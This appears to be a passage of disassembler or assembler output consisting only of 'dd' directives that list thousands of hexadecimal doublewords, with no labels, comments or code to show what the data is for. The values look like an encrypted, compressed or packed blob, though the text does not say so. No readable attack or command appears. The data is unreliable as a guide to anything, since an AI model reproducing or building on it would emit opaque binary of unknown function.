		dd 464B321Dh, 1956E6C1h, 0E874804h, 0E18FFEEh, 11DC05E0h
		dd 6F980871h, 11072D51h, 5040E986h, 565258EFh, 49DFBE05h
		dd 54814B0Dh, 0DE07C698h, 0DF6358C9h, 81BA66B0h, 53B66E90h
		dd 0E101403Ch, 2F4B0B88h, 0A508C20Eh, 3397E3E9h, 0BFB9F7F4h
		dd 14B91F19h, 0D0E94CBAh, 10E05A59h, 0B01607A4h, 0A4B4F218h
		dd 5964A3E0h, 6F84243Bh, 0D6FDAD3Dh, 27571A08h,	7DFD90C0h
		dd 22E243Bh, 0E362BDE1h, 99ADC334h, 0AF30664Ch,	670A5CE0h
		dd 567F72B6h, 87F9602Eh, 8B0C4340h, 5C095845h, 2D02075Ch
		dd 0D5F7298Eh, 0A60B35DCh, 38794474h, 889FB151h, 52A857C8h
		dd 532921BAh, 5C0C2654h, 0E568C29Dh, 0C1ACE632h, 4A65E17Eh
		dd 0D10C8270h, 0D045874Bh, 0E7E9E670h, 706FF0BAh, 0C28975E4h
		dd 0AA7494FAh, 16A30497h, 0A090B48h, 0FF02D10Fh, 8902B84Ah
		dd 5214DCE3h, 989B73C4h, 1461728Bh, 1670C9B7h, 0D098EB51h
		dd 4FDB68F5h, 817DA13h,	92039E9h, 1D95D54h, 111687E4h
		dd 6800FC28h, 101B34D9h, 0E72CC15Fh, 1C105706h,	59EB280Eh
		dd 287C30Bh, 0C02D38FBh, 50814BB6h, 1831FCF3h, 10EBD166h
		dd 172E146Bh, 14AF145Bh, 0A39A9D46h, 57B0A210h,	0FB43C024h
		dd 6B920620h, 53317EF3h, 0BE699E9h, 2E4D325Bh, 22B920h
		dd 0BE766E49h, 0F32717B1h, 0E0D5E916h, 0D04E68A7h, 885150C9h
		dd 0E84AD572h, 0C3F6D229h, 5BD9F0DBh, 300F5968h, 5F55E916h
		dd 874C4495h, 8517F901h, 888B741h, 9F694C59h, 290A3F5Ch
		dd 0E98F5EF3h, 0FB6E1A3h, 0E7BB1000h, 0C163415Fh, 0F1037DEBh
		dd 1D852DA5h, 0C62E0013h, 0A66FF65Dh, 96E6D13Eh, 0F1B42338h
		dd 9789F05Eh, 0E2581207h, 0C554BFC0h, 82527F80h, 6EEB953h
		dd 31090618h, 1BE696F1h, 0F69D6C39h, 3830E907h,	3D5428DEh
		dd 635083B8h, 2CED7DC2h, 28100355h, 66316499h, 1215AC47h
		dd 8B06D7F7h, 12186B58h, 0F66C2FEh, 8C64DDE5h, 0B611CC74h
		dd 0EE80ED03h, 81842C0Ch, 5AD104F0h, 9A9F037Eh,	0CF8022B7h
		dd 0C1DD27E9h, 80B6934Ah, 0AD499540h, 2C314AF6h, 0C50A894Bh
		dd 83605DE9h, 0F210580h, 9F5F5250h, 9DE9FFA2h, 88D1DF4Ah
		dd 0B7189F60h, 0D0F7005Dh, 48E75C2Dh, 0F124E9A2h, 0DA53AF0Bh
		dd 1870F0B5h, 1527DF68h, 8082263Ah, 4605D86Bh, 98AE765Bh
		dd 1D6C1F7Fh, 18BA7D71h, 8872F217h, 0FE61B824h,	1C472159h
		dd 58F0322Bh, 0B83EB084h, 2C8E4FC0h, 1EDC7018h,	42B0D2F7h
		dd 0E2059090h, 27C53467h, 30DE300h, 2DE91462h, 0F684B84h
		dd 8200739Ah, 646BB91Ch, 2DE955E1h, 0D14A50CDh,	0D312C506h
		dd 0AFDE893Fh, 53CE05BAh, 680204A3h, 75806BD8h,	821DDAF4h
		dd 0D0405909h, 35C60690h, 1C47BF14h, 9806DD03h,	0DC87E912h
		dd 9FF45988h, 825FB984h, 0FE6C2C81h, 5B716815h,	0E0F32AB1h
		dd 4E78F998h, 1A478835h, 0A2F9E62Dh, 3084046Bh,	68D0F0C3h
		dd 13614E2Dh, 8BC54F45h, 41834BD9h, 40DD9A58h, 5F1B950h
		dd 0E931F355h, 5C8244A0h, 0EA8A8109h, 0EDC0001Fh, 0F5800B06h
		dd 0FCF8309Fh, 0FE40E712h, 0ABBF6A0Bh, 8B1145C8h, 0AECE4F53h
		dd 0F1691B91h, 76D63B3Eh, 0CA4DCA16h, 7B1415DFh, 5DE817E6h
		dd 54F8FCCDh, 9CAA9727h, 0E0671354h, 1165896h, 92F078E5h
		dd 0D0B74E80h, 0BA559BA5h, 21D2548h, 458950C9h,	30B96031h
		dd 0EF8C82E4h, 0F0E228A2h, 2CB42C74h, 6F3FE90Dh, 58DB85EAh
		dd 0C0ACA4D3h, 0ED828A5h, 3AC16866h, 0F3B3ED99h, 0EFDF1886h
		dd 446D01CBh, 16E92581h, 0B66E7F42h, 1621D359h,	0D34BB477h
		dd 265F66EEh, 5A1EF701h, 3509555Bh, 165AFBBCh, 0A5978189h
		dd 84A46DBDh, 12F842B0h, 50BDCA96h, 105B21DEh, 413E3C28h
		dd 0EBC0816Ah, 612D7A99h, 13890120h, 90AF660h, 0A09819EAh
		dd 2B580268h, 0AB4FD3B2h, 7D3D86EEh, 575A3F83h,	769AE7A5h
		dd 402C9CD1h, 0BA401701h, 0C2DB0108h, 76088AEFh, 0B322092Ch
		dd 0EA593B95h, 0F15D8B2h, 9EF9055Bh, 7966130Fh,	0BA0016E6h
		dd 4A2934A7h, 3E42EA81h, 0D783C32h, 3E59E9D5h, 1BF0707Fh
		dd 0E055F83Bh, 0AF0AABB0h, 478F2C6Ah, 540328D0h, 20E97A41h
		dd 644F3167h, 5102F7C0h
		dd 0B48AF854h, 78922C1Ah, 7EEDEB83h, 8F495924h,	534A5E5Fh
		dd 570D1AB4h, 0D3684D12h, 8CD13ADBh, 0DC0C9A2Fh, 39C8D2D8h
		dd 9B905557h, 0C138080Bh, 449B8331h, 807BA21Eh,	3FE64CF9h
		dd 9589584Ah, 0E72AB10h, 25A8E4BBh, 96AC29A2h, 8AEBB0B4h
		dd 81607641h, 0E6510605h, 4DAF74Fh, 64CA8100h, 0E9419F0Dh
		dd 391E64C9h, 1BB3C2C1h, 4664697Eh, 68C102ABh, 24713FEFh
		dd 2D0B38A0h, 8F297007h, 2633A831h, 2632433h, 0FE90346Fh
		dd 592E1B43h, 0BE10BF5Dh, 0BB33650h, 59511832h,	0DE3C148Fh
		dd 0D32BCA1Dh, 36D10081h, 0FB296DB9h, 1A9CE913h, 7A50FB62h
		dd 704620AAh, 788495Ah,	5D7E327Dh, 2250C8B0h, 0EBE337D6h
		dd 2E956C1h, 6068004Eh,	14B29D7Ch, 83423459h, 42E47CEDh
		dd 0F0093854h, 232D0226h, 5E184522h, 0E9618854h, 3072D203h
		dd 444FFE50h, 0FB09EB0Fh, 807E7A4Bh, 0F90ADAA0h, 7F489516h
		dd 8A2420AAh, 0E600473Fh, 0E919FE55h, 772B6449h, 7DD4C0D6h
		dd 0A3FA548h, 1CDA5CD1h, 8857677Bh, 4B2754A0h, 2DF92508h
		dd 4F133075h, 13E1EF88h, 5C759618h, 2408A804h, 44FF5758h
		dd 0FDA9215Fh, 8094AD78h, 0A87ED605h, 0A5FDB01Bh, 915014B2h
		dd 6917ECCFh, 93137304h, 72A37085h, 8062CA67h, 0CD0926E4h
		dd 0F581590Fh, 67FEA466h, 0A1270CFCh, 0C2B0C281h, 0D8912034h
		dd 92D2C40h, 76C9268Ch,	48965FE6h, 4B3CF952h, 0D4739405h
		dd 170EA339h, 0E644E568h, 0FED70DE9h, 0C2DF4A0h, 9E5D603Dh
		dd 133A024Ah, 0AF0BCC1h, 0C1F07212h, 0E32E0590h, 0A9E1D171h
		dd 15AB061Bh, 750C3A5Eh, 0EBBF25C5h, 64A615E1h,	0E65C887Ch
		dd 7986327Bh, 2B85429h,	45D43D16h, 402B6821h, 0E8906C38h
		dd 176EE908h, 6801B800h, 5C31473Eh, 0E8E180C8h,	0C15F0152h
		dd 0EFE46621h, 23199574h, 3A7DEF2Fh, 6DE1062Ch,	1ABE68C1h
		dd 0D29CC178h, 325C01E1h, 2041AB44h, 0DC12E54h,	575EF101h
		dd 2194730h, 0C1453A6Ch, 156107EAh, 0BC833042h,	96E55631h
		dd 1F156F94h, 87B50F8Ah, 5BDA8942h, 1E27C040h, 10E850Fh
		dd 8ED0AD5h, 0F685A02h,	0A9E8B06Eh, 145BA1FCh, 39391901h
		dd 2A3929Dh, 5FFB0109h,	680057C5h, 13BB499Dh, 50482D58h
		dd 0C004CC3h, 2C385335h, 1AD8F732h, 3859D7E9h, 0FAEB41DCh
		dd 0B03B20EFh, 0A9935469h, 4B657BC7h, 0B8500798h, 1DC8024Bh
		dd 0FE7B00B2h, 55C20163h, 5A1494BDh, 6936711h, 3E3135DBh
		dd 60AB010Ch, 0E5C16F6Ch, 662B2006h, 0CED95A81h, 0C0C3152Bh
		dd 9FF5292h, 11293CD6h,	5405384Eh, 6F816859h, 65C2A634h
		dd 70DA420Bh, 37060E09h, 0F7E965C5h, 0B0460184h, 6D905493h
		dd 0DC0A7A4Bh, 0A63D6F68h, 8172D389h, 0E498E91Fh, 0A24B3033h
		dd 0B02192D2h, 5958509Fh, 0B637D05Ah, 0E910EFE2h, 64B16593h
		dd 249FA359h, 83016C53h, 460B932Fh, 74B8CEF8h, 97487D70h
		dd 6E5EAF41h, 2704F55Fh, 0DAC7320Fh, 203C23Eh, 0BE3F489h
		dd 0BCB25BD9h, 58E2FE7Ch, 26BF000Ah, 0B58B465h,	0AC5F3E7Dh
		dd 5992139Ah, 2D7E05B7h, 97ABB932h, 532091CCh, 4A1F9003h
		dd 49BBA35Dh, 0B0500081h, 66092CE7h, 27B73853h,	5B01F83Bh
		dd 0E8C0DF0Ch, 12E1F207h, 0FD327A0Fh, 0B5C818C7h, 0A377ED3h
		dd 460D9EA2h, 57BB8A2Ah, 4205689Bh, 5B5262ABh, 0EF2808BCh
		dd 2E68F208h, 0C0365C8Dh, 11124250h, 4DEF06B5h,	5852580Fh
		dd 899F4520h, 0E078894Ch, 78295A99h, 0B3AA24CBh, 0BCBBA01Bh
		dd 0E848CBEDh, 0BE80D67Dh, 0E4B0F80h, 522A875Bh, 565A8EEDh
		dd 0C1825ECEh, 0F48206E6h, 8CD06CE9h, 0C968660Eh, 1BD1974Eh
		dd 6F75AE4Bh, 17D44120h, 176AB978h, 0AC22C010h,	531CD830h
		dd 0C342FEB3h, 0A028EC68h, 80D6B277h, 0FE4973F2h, 0F0D3FC12h
		dd 0C82AEBEBh, 4D40B683h, 432C06B9h, 0EE311125h, 0D2F83A26h
		dd 0E6787FE2h, 44E92764h, 0FFBB7900h, 75C8367h,	3B0E20FAh
		dd 8FA73204h, 0FB5E87EAh, 322B3008h, 8E577984h,	2C891FD1h
		dd 41CB0B8Eh, 47385A1Eh, 389BB7A1h, 1FA8106Dh, 6950BD42h
		dd 0D415D021h, 1878F448h, 0C262330h, 1A25285Dh,	1259F96Bh
		dd 50CFA929h, 0E6C2AD86h, 0D95EF501h, 16DB1A63h, 263C9555h
		dd 86AB26BAh, 1F6B68ACh, 0F64BBAF6h, 77520535h,	0FC27BA8h
		dd 0E468C8AFh, 4A974257h, 52FC748h, 0AD1FE5E9h,	1019F88h
		dd 0E6D13353h, 54342422h, 3428AF24h, 3140B2Dh, 15424633h
		dd 8081070Fh, 0E844E529h, 3750185Bh, 1541D494h,	38A13328h
		dd 3DB0A8C1h, 0F029DCC7h, 49AF6A74h, 0D6F1C2CDh, 6557506Bh
		dd 0E5FACB33h, 885EEC4Fh, 7498172Eh, 5B200302h,	5020058h
		dd 8EBF23D6h, 0E187728Bh, 7C3125A1h, 0F232107Bh, 0E948E09Fh
		dd 18956F81h, 2D674D7Eh, 0B00028B9h, 42AC76B7h,	5482B1A2h
		dd 5025CA3h, 6F357C02h,	0F00CD365h, 0E7CA8C93h,	56C1A658h
		dd 6E205E54h, 0B31EC0F3h, 8BD828B0h, 27E214BFh,	94940CC2h
		dd 912594Dh, 565BFD28h,	0C4F5187Fh, 0A6B10BC8h,	0D2D3780Bh
		dd 156B2ED1h, 3A9768A5h, 62672083h, 0B148BBFh, 3C96CF31h
		dd 2741D9FBh, 5BA2406Ch, 44EA4F28h, 25FAB22h, 756F04ACh
		dd 0FF96A9B0h, 2E685780h, 28705852h, 99AC63B0h,	0EC793B04h
		dd 7B1FCF5Eh, 9CA914EFh, 88A34458h, 63C433E9h, 55F450B6h
		dd 3CD79419h, 728127FCh, 54DCE572h, 0A60CFBFCh,	0C211C27h
		dd 346D3878h, 84264AFBh, 8A740586h, 0A59B215Ah,	90426803h
		dd 0F0DD2482h, 5F178FA1h, 2CBB9EC4h, 48420F66h,	26DAA89Fh
		dd 6F14AB86h, 11BADB06h, 6812C798h, 0D8333A07h,	6AB5C855h
		dd 5D763FFEh, 3D094BE9h, 0BC583024h, 0D9B214EEh, 0A7E72A85h
		dd 4EC4567Dh, 4BF67FADh, 0FC11E36Bh, 0B38F893Fh, 4A3A0B5h
		dd 74E82840h, 0E9ECE52Ch, 2EFF9472h, 0D67C6448h, 9925C299h
		dd 1384E81Bh, 22883D02h, 0C9E1F3A5h, 0EE313E33h, 4D6BB30Fh
		dd 0D47D01A6h, 0AD7AAFCh, 999513A2h, 2C9606D0h,	8027E99Bh
		dd 6930A14Eh, 3E31DE0Ah, 0C77E003Eh, 6EEB3957h,	780DD596h
		dd 0DE1675CCh, 0B464F871h, 0B8032F25h, 0ECA25066h, 59562C42h
		dd 429F9C0h, 8B90771h, 82CD5575h, 7D5AD1h, 4A390E0Ch, 9340950Bh
		dd 79007735h, 0BF57438Bh, 9562B85h, 5FF82976h, 78CC2BA0h
		dd 501214Dh, 3ED47EACh,	8F78CEE9h, 0C5FB674Ah, 58975D65h
		dd 0C3010B60h, 92BD13A6h, 0F18EC922h, 12E1F720h, 0B529E927h
		dd 0D7840205h, 0BD01E1FEh, 1350283Fh, 192123Bh,	47327B0Eh
		dd 2A03386Eh, 0FE039953h, 66E588C4h, 59EAA058h,	80D10F86h
		dd 1693ACF1h, 22616B4h,	93B252D8h, 7260ACF8h, 0E280550Eh
		dd 70EAE69Ch, 0E999A0B0h, 84356B14h, 38073DB8h,	0E0405D81h
		dd 5517E81Eh, 1D2C9C0Fh, 0BEE051A2h, 0A5832F59h, 0EF2292C4h
		dd 14B05D5Eh, 602568E1h, 80BAB20Ah, 0A61EF81Ch,	0B2BB03Fh
		dd 6F1F0495h, 53037DD0h, 91C67CBBh, 91E7762h, 29545068h
		dd 820A8DCh, 1C91AAB4h,	3D1F99D2h, 0B1532493h, 0CA231E18h
		dd 7633770Ch, 0F8E2095Fh, 0B7609924h, 0F3046847h, 6418E945h
		dd 0AB75300h, 22EEFC0h,	6336980h, 0DEC7B13Ch, 20B3E0E7h
		dd 98EA90F8h, 0B8AEEEF1h, 0E93B3FDFh, 9772EE2Ch, 0C1372D8h
		dd 84B0D604h, 20EC9B5Ch, 0C90CA092h, 2D09263Bh,	0A8BE13B8h
		dd 8CC85A93h, 0A1176978h, 40691EF3h, 81DA013Fh,	652D3FC2h
		dd 11083F05h, 7B2D0160h, 2A29DE1Dh, 0F8958E22h,	301497A6h
		dd 213E0DEDh
		dd 59515919h, 2A797B16h, 0D1139978h, 0E93B42E2h, 8D5C58CAh
		dd 802B4950h, 0D5EED2F6h, 0CFF0195Ch, 2B0B5AF7h, 75F452FCh
		dd 8241D77Bh, 9F612E27h, 0F4433E4Fh, 0D92AD2E3h, 4D9C13Dh
		dd 0C64970h, 0F71E7C27h, 11A62DD8h, 25007BE8h, 59394462h
		dd 3A49BB35h, 9B80383Bh, 210ACE37h, 0C559E9C3h,	2E466063h
		dd 419AF45h, 6049F2BAh,	0F1348097h, 29FCFD35h, 46B21EDh
		dd 0D90BAE08h, 2B7729Bh, 407BD5CAh, 0E4E1561Eh,	0F0912B33h
		dd 0AC002721h, 0E4FC192Ch, 8B57FBAh, 8A319C3Fh,	5B00DFBDh
		dd 0F0BC009h, 71B3BF84h, 6651279Ah, 0A933E98Bh,	6071C25Ch
		dd 801FEF3Bh, 457C06BEh, 0FE315112h, 0BE69C00h,	34B394Fh
		dd 73376853h, 68275445h, 4E0770DEh, 7EA7E411h, 0F3FE18BFh
		dd 0A85A9CD9h, 412820CCh, 0A76076B0h, 5EF0211Ah, 8E801C1h
		dd 0F750C831h, 0C2423C14h, 7C270F68h, 8D5644D9h, 46FF207Ah
		dd 5F877016h, 0E908A242h, 2DA4E8C1h, 1F17FC3Ah,	15C221D2h
		dd 0BB029CAAh, 25914A7Bh, 93E29743h, 71B81458h,	8C0CB900h
		dd 59CA096Ch, 0B6E2A042h, 0C9070BF2h, 0DE29D8E9h, 55C2DFC3h
		dd 52C40554h, 39BFB194h, 925439EAh, 6684E3CDh, 0C21F3589h
		dd 0B60EA2Eh, 0D056371h, 0DFB8E913h, 89849726h,	1FF0BA9Eh
		dd 0C12C0C50h, 70608EAh, 61023290h, 2923C384h, 411EF9D6h
		dd 305EF189h, 641CD36h,	0C2A6E3D4h, 5EDC154h, 6CD08B61h
		dd 17374A81h, 0C958F4h,	0A5A77878h, 8B46C829h, 715F0BB7h
		dd 0D53C2E7h, 916B4CDCh, 0F80433F6h, 73EEDFF6h,	0AE88AF16h
		dd 0B3ADD78Dh, 4E68C565h, 0A64010B3h, 0CD540084h, 34E6BD64h
		dd 681670F9h, 58705A48h, 4946E955h, 0D53BAFD0h,	0EA92E99h
		dd 577E2052h, 0D1E0900h, 5EEB815Bh, 0C61D0BA5h,	4F16DA89h
		dd 0E905C780h, 9D00484Fh, 1BA42D5Ah, 89640930h,	39FB58C5h
		dd 55131FA1h, 5310EAA7h, 0ADE982BBh, 0F6EFA4Eh,	4D646CF6h
		dd 0BAB4A664h, 528A2D60h, 29671361h, 2C9CB3DFh,	3E2402FDh
		dd 5BA1F341h, 6031B861h, 0BE2A75F4h, 3FE1CAC2h,	81E261BEh
		dd 4FDED185h, 9796F151h, 0EBFD005Dh, 817A6B01h,	2101F274h
		dd 0E9425389h, 687EB1ECh, 74272A2Ah, 2E12EAh, 0E3D15A08h
		dd 0AB41F3C1h, 2D00A822h, 2C3D152Fh, 0AEC7BB29h, 0C81F68ABh
		dd 40F90728h, 19D2E911h, 0FEF269C0h, 5CE5F1BDh,	0C931D89h
		dd 0EB2122B5h, 648E360Bh, 271CF0D1h, 19A9F801h,	7F9BF096h
		dd 894872CAh, 1150218h,	275A4ED0h, 2088386Ch, 4DA528A5h
		dd 5B18CC77h, 0F7F24915h, 0C008D66Ch, 70B9148Eh, 0CA32BBB4h
		dd 147F5E36h, 6102B127h, 0A7AF67E9h, 404E0430h,	9D8240AFh
		dd 58393703h, 0A690B298h, 0E962140Bh, 9DFED832h, 0FDE2BE33h
		dd 0BA010A74h, 0B151FE7h, 0AFFE403Fh, 1520825h,	0C415446h
		dd 0E9C34A22h, 0A5C5169h, 0EFA901E0h, 0C701DFE5h, 9A41678h
		dd 0C2C8A895h, 9AB5C5BBh, 2618543Bh, 0EAEF09A3h, 88BA3ADEh
		dd 21C756Dh, 4D4B5423h,	1F67D40h, 254F1E58h, 88F682EDh
		dd 6084F4F5h, 0BEE5805Bh, 0EE02C5E6h, 5E9EA28h,	0B939D9DFh
		dd 58CCC84Bh, 948B5B9Ch, 5B0D5CC6h, 0D21015B4h,	54DA68E4h
		dd 4EEBE014h, 7E09F35Dh, 0ADA90A2Fh, 0EE7C362Bh, 81C6557Ch
		dd 422930h, 813B9216h, 0F462BECDh, 81F7192Fh, 0A730C6A2h
		dd 0BFED2271h, 80F10907h, 58C72860h, 0E9F81730h, 0F623C4E5h
		dd 9C680C98h, 5B649749h, 4FDBD8D0h, 0A2E0545h, 2508C6DAh
		dd 1332B902h, 0DE011468h, 0CAEE8102h, 6B57A735h, 0E3D94B0Ah
		dd 1687C854h, 0B0E1AC5Ch, 0A8BE9EE9h, 7E936886h, 0D2075A6Eh
		dd 987EA1E9h, 0D0EE8009h, 10A7653h, 0F430ABC6h,	2462E95Ah
		dd 0F501812Ch, 24038821h, 3D7EEE01h, 0C6262F7Dh, 6226B40Eh
		dd 87C4205Ch, 5881A3FCh, 0A0CE63D8h, 0AB08931h,	0E83120C0h
		dd 0C5843FF6h, 0C24C4802h, 9BCE1E71h, 2D2BA09Dh, 75655274h
		dd 4DFE0902h, 40735AB9h, 0E8C962Bh, 0FF273CAh, 20E67660h
		dd 0EDC09065h, 0E00D25A6h, 1E57B900h, 8B21E15Eh, 0A0C4C3h
		dd 7E5B3B6Ch, 0D490C1F6h, 0BE032AB4h, 0DD47318Ah, 0E39225C1h
		dd 91D57524h, 0EE0963EFh, 484F687Eh, 0A2A9DD21h, 21EBD101h
		dd 4A162B49h, 0C3553832h, 983C9694h, 0C95BB097h, 7F40A82h
		dd 6F1C8B38h, 0FA317230h, 8A034F7Ch, 0C35E13D1h, 5EB57149h
		dd 0BFB960C6h, 2E12503Dh, 7CB01BE9h, 30D93BB1h,	0E3B2580Eh
		dd 2C59CAA1h, 0EEC12EEBh, 7E06D8BEh, 0C2669E0Ch, 8B016C22h
		dd 40300C17h, 0B8502F00h, 2CCA0A35h, 0BF8093Fh,	0B085DDF7h
		dd 2DFE0702h, 8B082B5Fh, 0D8263FFEh, 0B3481266h, 4AB3005Ch
		dd 28BDEB80h, 0C85B4AD8h, 5F4E8A70h, 0A9AC3032h, 903D96D7h
		dd 0CAF94F29h, 5B5A251Ah, 0C74109DBh, 0EB8A76h,	0FE70FC9Dh
		dd 9E0AB04Eh, 0A0CE4497h, 9A33E923h, 0A9F71766h, 47D0805Ah
		dd 59B23B52h, 4CC7EA1Eh, 0D50C0ECAh, 26E96580h,	0E21AAB19h
		dd 62F91BBFh, 76427F93h, 8239EAD1h, 5F36DFBFh, 0EAFA77BAh
		dd 0E4420A27h, 0F7554E00h, 0E95182ADh, 15A3F88Dh, 82350168h
		dd 26BAD413h, 762F59B0h, 315BC6F2h, 0C53EFA01h,	0D2F59427h
		dd 75B30193h, 0CA010AF3h, 3A6C2EFDh, 57535F25h,	2AE9EFB1h
		dd 162E0935h, 2ED8B3ADh, 25BCADE3h, 415E44F3h, 55607EB1h
		dd 0B65EA768h, 92AD6547h, 1377BD4Bh, 94CDEAF8h,	5CEEF6ECh
		dd 0B380FE1Bh, 31E79E90h, 5B245F0Eh, 0E9D2A25Dh, 562FD743h
		dd 0E03F17B2h, 0E42C74B2h, 0B316AE69h, 0F25932C8h, 433B5FA7h
		dd 4A2C6431h, 146005C0h, 0EB2DB02Fh, 90FEA3Ah, 5B59B1B0h
		dd 0A06BCF98h, 80BBF150h, 68C8BE0Fh, 78932F91h,	3580DC17h
		dd 94BF580h, 6604EDC0h,	0F3FE3B07h, 4A4AFA1Eh, 4E8A1AD8h
		dd 0BBD65BD4h, 6A13EBBCh, 3E2B8E01h, 0C8217F1Ch, 80DD8F20h
		dd 878EFC1h, 53AD7834h,	0C5144AA5h, 0D71242ECh,	72DB9713h
		dd 1D76129Ch, 15A35CE4h, 293C0596h, 0CA8FAC21h,	0B51086D4h
		dd 4B95B803h, 84D77BA5h, 70AF44Fh, 4B7A2E41h, 7D0B579Bh
		dd 889284D2h, 8201131Fh, 85780868h, 232CD21h, 216F75E0h
		dd 6E84259h, 4FC15944h,	8358DCDFh, 8DC85B31h, 20C3E182h
		dd 84942C87h, 0F7D024Eh, 831DFA20h, 0B6E42008h,	0C50C7DB1h
		dd 2F2370Dh, 501328F3h,	154CD329h, 52000178h, 0D553A9BAh
		dd 484EE923h, 0BDE2802h, 957CF3EBh, 0DE5AEE87h,	5EF70951h
		dd 0C71C4A7Eh, 5943DDBh, 291FE535h, 0E2D9AF8h, 1D3C8611h
		dd 0FD1D7230h, 0A0E0283Fh, 9F36469Dh, 0F73453C0h, 4C16B5Ch
		dd 6F280B86h, 23B0F9C0h, 487944AFh, 136BF74Ch, 0B5F322E3h
		dd 0F3805922h, 0B780370Fh, 0CF800741h, 27D7F663h, 0D0E773DFh
		dd 3940C7D2h, 608249E6h, 82476BB2h, 81036F78h, 0DE1BBEC3h
		dd 0FD0C0426h, 0C296D864h, 0D00BBBB0h, 33F61C9Ah, 0E8BAD672h
		dd 1272480Eh, 0C6F2B8C4h, 171AEC40h, 0A0793114h, 0D154F79Eh
		dd 85BDD902h, 3F3E78Dh,	8C7B5A2Dh, 0FABDEA0Ah, 0F05BD989h
		dd 22E10660h, 0C715308h, 696D4805h, 5A15159h, 955191D5h
		dd 402FECD2h, 4134F2DCh, 0CC016D4h, 22A45F1Ah, 0A5789E01h
		dd 0F1A120E7h, 342FCABFh, 3095F858h, 0D35A2D16h, 90029E4Fh
		dd 0D8417ABBh, 0BF2D606Eh, 5422D75h, 47C2268Fh,	8D428BE5h
		dd 0D8013442h, 610D7238h, 0F814FC63h, 45186F60h, 957E927Fh
		dd 311C3540h, 0B9FD9B83h, 2F79ED1Fh, 5B47277Eh,	0B20FC846h
		dd 0AB75F53Dh, 0CBCEA857h
		dd 7E1C141h, 479DC32Fh,	27016F99h, 5F2C7DD9h, 0B2C22215h
		dd 0C43004AAh, 67CC812Ch, 4DC92B1Dh, 7B08C82Ah,	903A3929h
		dd 1AEC58A7h, 263F72C2h, 0EBD47389h, 3406CE01h,	187A4F10h
		dd 0C69CFC17h, 89F3E201h, 0BFE95FF9h, 0E4FD123Ah, 0BDB288F2h
		dd 3C675A5Eh, 2152B6DEh, 5E7874B8h, 0E266134Ah,	27E1D001h
		dd 20A54C54h, 2916D57Ch, 0C3F42DE8h, 8B68165Dh,	0CE336164h
		dd 0E16B8A2Eh, 0EF03A408h, 0F1AF16DFh, 867559A6h, 5B67F930h
		dd 0EC009D11h, 808237FAh, 0B714752h, 5939F615h,	0EA1C5E3Eh
		dd 61D1129Ch, 20C8305Ah, 0DBB1D676h, 1AAFBB4Ah,	27EAF920h
		dd 89872CEh, 712725Ah, 8542A0CAh, 67BA6A18h, 671878EBh
		dd 550C21A0h, 73D72033h, 7029BE0Bh, 0E31244Bh, 0D559025Fh
		dd 0D97CD1D6h, 8419CA8Eh, 15C306ACh, 21F8B9CEh,	4C86413Fh
		dd 602FDC1Ch, 7E1FD009h, 0D0E57C34h, 0B7D5A29h,	0BC9257E8h
		dd 0AB584174h, 84B080E0h, 665C307Dh, 53407327h,	7F873168h
		dd 622DCC2Bh, 679276AEh, 5AD62916h, 0AFF20917h,	0B2921452h
		dd 0E95E0907h, 556BCA86h, 0C4CF5204h, 3B3FBDC8h, 24CA90E6h
		dd 0FB00FA48h, 0C13E8E77h, 0EFC02E5h, 0CBD5C86Eh, 0A8A744D6h
		dd 82A487B2h, 5293C940h, 2926071Dh, 883ACA8h, 47AB1C00h
		dd 0BE5667CCh, 4C0C7B43h, 1600D630h, 0C141943Ch, 0B8A102E6h
		dd 45B2F8C2h, 59CE0918h, 0C1460518h, 8FEA222Ch,	29723EF2h
		dd 4AC35866h, 0EC5616ACh, 9016A478h, 226004B7h,	6F1513DDh
		dd 7CD1CEB0h, 59CB0B08h, 2F0DC65Ah, 2F514BE9h, 4B82C83h
		dd 28C6A00Fh, 0E9D0EDE8h, 0B5C99271h, 8740AE9Eh, 0E82DA65Ch
		dd 0E2949739h, 1708CC30h, 0F5BACC5h, 0EF092A33h, 89F152BEh
		dd 6DDCE159h, 99B212EEh, 0C047C700h, 78FE07E2h,	0C4A7EACAh
		dd 0AC889F16h, 5CA110ACh, 0B8B5814Bh, 99C96BA8h, 0C09B41FCh
		dd 2C4FF7C7h, 0CDD0F43h, 58B51F44h, 2D02B4ACh, 7F9A6ADFh
		dd 2552BE85h, 7A001070h, 16E4B3D3h, 2884BCE9h, 0FE0E52A8h
		dd 1DA180CFh, 825BF828h, 51FD0496h, 7F3C40B1h, 0F391C7ADh
		dd 0FF28D745h, 0BED3B665h, 0BF6CDE3Dh, 6F0AE9A1h, 660423CAh
		dd 0F94A3F68h, 0B6520188h, 0F38853F4h, 1B60D8C9h, 21694D7h
		dd 2F1A0EBEh, 0B03AF484h, 8B945A58h, 9B26E64Dh,	0DE414F55h
		dd 4073E745h, 33E1084Ah, 8ABE2D3Fh, 8F289B17h, 2678580Bh
		dd 0E6678F50h, 1FFBC1B4h, 56818F5h, 0AACD8709h,	450A2A19h
		dd 2924DD71h, 0D701265Ah, 230D0237h, 0D4FB1A62h, 93645127h
		dd 0DEAD101h, 20EB2228h, 0B3062D0Ch, 0A7B80AB8h, 65F55605h
		dd 0FECC131h, 0BC9C82F5h, 2CB0B600h, 0F6F0E023h, 8E0B5FD4h
		dd 22304A6Bh, 0BB07CA68h, 0FF2B2509h, 0AA09125Eh, 70525Bh
		dd 2210F7C9h, 0E2BB5362h, 194B2512h, 63E1103h, 0BFBCF6h
		dd 12BA5209h, 9B2CCF48h, 2DE05131h, 901B583Bh, 5C828F9h
		dd 0C2CB307h, 0E9BD2068h, 0C4378025h, 0B2D9F004h, 6EC8A04Ch
		dd 6927317Eh, 0C258C9D0h, 0CE791E41h, 0B324C7E5h, 6A2F8700h
		dd 0B5D5F702h, 0DDA2738Eh, 4CC8DEE9h, 9B0D6856h, 46552F1Dh
		dd 0FD9F4C69h, 0FC5A8212h, 7FE49053h, 28269963h, 25F9B7D0h
		dd 398307A3h, 0A1415ADDh, 0B8EC2074h, 5B0071BEh, 5D786E2Dh
		dd 8A05010Dh, 291AB369h, 78DF2D0h, 11201B2h, 3C3920E8h
		dd 7EEDD9CBh, 0CE589B18h, 3959CDC8h, 5D55BE26h,	0BA4EE100h
		dd 7B8504Fh, 5F5B146Bh,	54E9C721h, 4E77BEE7h, 98D964B6h
		dd 5661275Dh, 5A1DD3AAh, 35D48302h, 4CC58902h, 0EDAC89BBh
		dd 6CFD1E5h, 8FBBA388h,	0D409CCFAh, 843D084Ch, 5C0B01EAh
		dd 205EB191h, 2D6933D9h, 51B78559h, 6CC542C2h, 81654BBAh
		dd 418F6401h, 3C98A7A8h, 2352A14Fh, 0CBD4346Eh,	2B304A05h
